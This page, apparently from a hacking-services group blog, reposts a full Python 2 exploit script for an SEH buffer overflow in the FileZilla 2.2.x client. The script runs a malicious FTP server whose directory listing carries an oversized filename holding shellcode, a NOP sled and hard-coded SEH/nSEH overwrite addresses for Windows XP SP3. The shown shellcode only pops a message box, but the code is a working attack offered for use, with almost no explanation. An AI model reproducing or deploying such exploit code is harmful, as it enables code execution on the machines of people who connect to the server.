Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86383988

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Filezilla client 2.2.X SEH buffer overflow exploit
# Date: 02/08/2015
# Exploit Author: ly0n
# Vendor Homepage: filezilla-project.org/
# Software Link: http://www.oldapps.com/filezilla.php?app=7cdf14e88e9dfa85fb661c1c6e649e90
# Version: tested on filezilla 2.2.21
# Tested on: Windows XP sp3 english


#!/usr/bin/env python2
# coding: utf-8
import os,socket,threading,time
#import traceback

# visit: ly0n.me
# greetz: NBS

#MSGBOX "BrokenByte" 
msgbox = ("\x68\x6e\x33\x72\x00\x68\x75\x74"
"\x69\x30\x68\x5e\x58\x65\x63\x89"
"\xe3\x68\x20\x20\x20\x00\x68\x68"
"\x65\x72\x65\x68\x77\x61\x73\x20"
"\x68\x6e\x33\x72\x20\x68\x75\x74"
"\x69\x30\x68\x5e\x58\x65\x63\x89"
"\xe1\x31\xc0\x50\x53\x51\x50\x50"
"\xbe\xea\x07\x45\x7e\xff\xe6\x31"
"\xc0\x50\xb8\x12\xcb\x81\x7c\xff"
"\xe0")

nops = "\x90" * 100
#77EA9CAC    POP POP RET kernel32.dll <- seh
#EB069090    SHORT JUMP 6 POS + 2 NOPS  <- nseh
nseh = "\xeb\x06\x90\x90"
seh = "\xAC\x9C\xEA\x77" 

allow_delete = False
local_ip = "192.168.11.6" #SERVER LOCAL IP
local_port = 21 #DESIRED PORT

buffer1 = "\x41" * 1896 + nseh  + seh + nops + msgbox + nops
buffer = buffer1 + ".txt"
currdir=os.path.abspath('.')
 
class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)
 
    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
 
    def SYST(self,cmd):
        self.conn.send('215 UNIX Type: L8\r\n')
    def OPTS(self,cmd):
        if cmd[5:-2].upper()=='UTF8 ON':
            self.conn.send('200 OK.\r\n')
        else:
            self.conn.send('451 Sorry.\r\n')
    def USER(self,cmd):
        self.conn.send('331 OK.\r\n')
    def PASS(self,cmd):
        self.conn.send('230 OK.\r\n')
        #self.conn.send('530 Incorrect.\r\n')
    def QUIT(self,cmd):
        self.conn.send('221 Goodbye.\r\n')
    def NOOP(self,cmd):
        self.conn.send('200 OK.\r\n')
    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')
 
    def CDUP(self,cmd):
        if not os.path.samefile(self.cwd,self.basewd):
            #learn from stackoverflow
            self.cwd=os.path.abspath(os.path.join(self.cwd,'..'))
        self.conn.send('200 OK.\r\n')
    def PWD(self,cmd):
        cwd=os.path.relpath(self.cwd,self.basewd)
        if cwd=='.':
            cwd='/'
        else:
            cwd='/'+cwd
        self.conn.send('257 \"%s\"\r\n' % cwd)
    def CWD(self,cmd):
        chwd=cmd[4:-2]
        if chwd=='/':
            self.cwd=self.basewd
        elif chwd[0]=='/':
            self.cwd=os.path.join(self.basewd,chwd[1:])
        else:
            self.cwd=os.path.join(self.cwd,chwd)
        self.conn.send('250 OK.\r\n')
 
    def PORT(self,cmd):
        if self.pasv_mode:
            self.servsock.close()
            self.pasv_mode = False
        l=cmd[5:].split(',')
        self.dataAddr='.'.join(l[:4])
        self.dataPort=(int(l[4])<<8)+int(l[5])
        self.conn.send('200 Get port.\r\n')
 
    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
 
    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))
 
    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()
 
 
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()
	dirlist = "drwxrwxrwx    1 100      0           11111 Jun 11 21:10" +buffer1+"\r\n\n"
	dirlist += "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22  "+buffer+" \r\n\n"
	self.datasock.send("total 2\r\n"+dirlist)
        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')
 
    def toListItem(self,fn):
        st=os.stat(fn)
        fullmode='rwxrwxrwx'
        mode=''
        for i in range(9):
            mode+=((st.st_mode>>(8-i))&1) and fullmode[i] or '-'
        d=(os.path.isdir(fn)) and 'd' or '-'
        ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime))
        return d+mode+' 1 user group '+str(st.st_size)+ftime+os.path.basename(fn)
 
    def MKD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        os.mkdir(dn)
        self.conn.send('257 Directory created.\r\n')
 
    def RMD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        if allow_delete:
            os.rmdir(dn)
            self.conn.send('250 Directory deleted.\r\n')
        else:
            self.conn.send('450 Not allowed.\r\n')
 
    def DELE(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        if allow_delete:
            os.remove(fn)
            self.conn.send('250 File deleted.\r\n')
        else:
            self.conn.send('450 Not allowed.\r\n')
 
    def RNFR(self,cmd):
        self.rnfn=os.path.join(self.cwd,cmd[5:-2])
        self.conn.send('350 Ready.\r\n')
 
    def RNTO(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        os.rename(self.rnfn,fn)
        self.conn.send('250 File renamed.\r\n')
 
    def REST(self,cmd):
        self.pos=int(cmd[5:-2])
        self.rest=True
        self.conn.send('250 File position reseted.\r\n')
 
    def RETR(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        #fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/')
        print 'Downlowding:',fn
        if self.mode=='I':
            fi=open(fn,'rb')
        else:
            fi=open(fn,'r')
        self.conn.send('150 Opening data connection.\r\n')
        if self.rest:
            fi.seek(self.pos)
            self.rest=False
        data= fi.read(1024)
        self.start_datasock()
        while data:
            self.datasock.send(data)
            data=fi.read(1024)
        fi.close()
        self.stop_datasock()
        self.conn.send('226 Transfer complete.\r\n')
 
    def STOR(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        print 'Uplaoding:',fn
        if self.mode=='I':
            fo=open(fn,'wb')
        else:
            fo=open(fn,'w')
        self.conn.send('150 Opening data connection.\r\n')
        self.start_datasock()
        while True:
            data=self.datasock.recv(1024)
            if not data: break
            fo.write(data)
        fo.close()
        self.stop_datasock()
        self.conn.send('226 Transfer complete.\r\n')
 
class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)
 
    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()
 
    def stop(self):
        self.sock.close()
 
if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()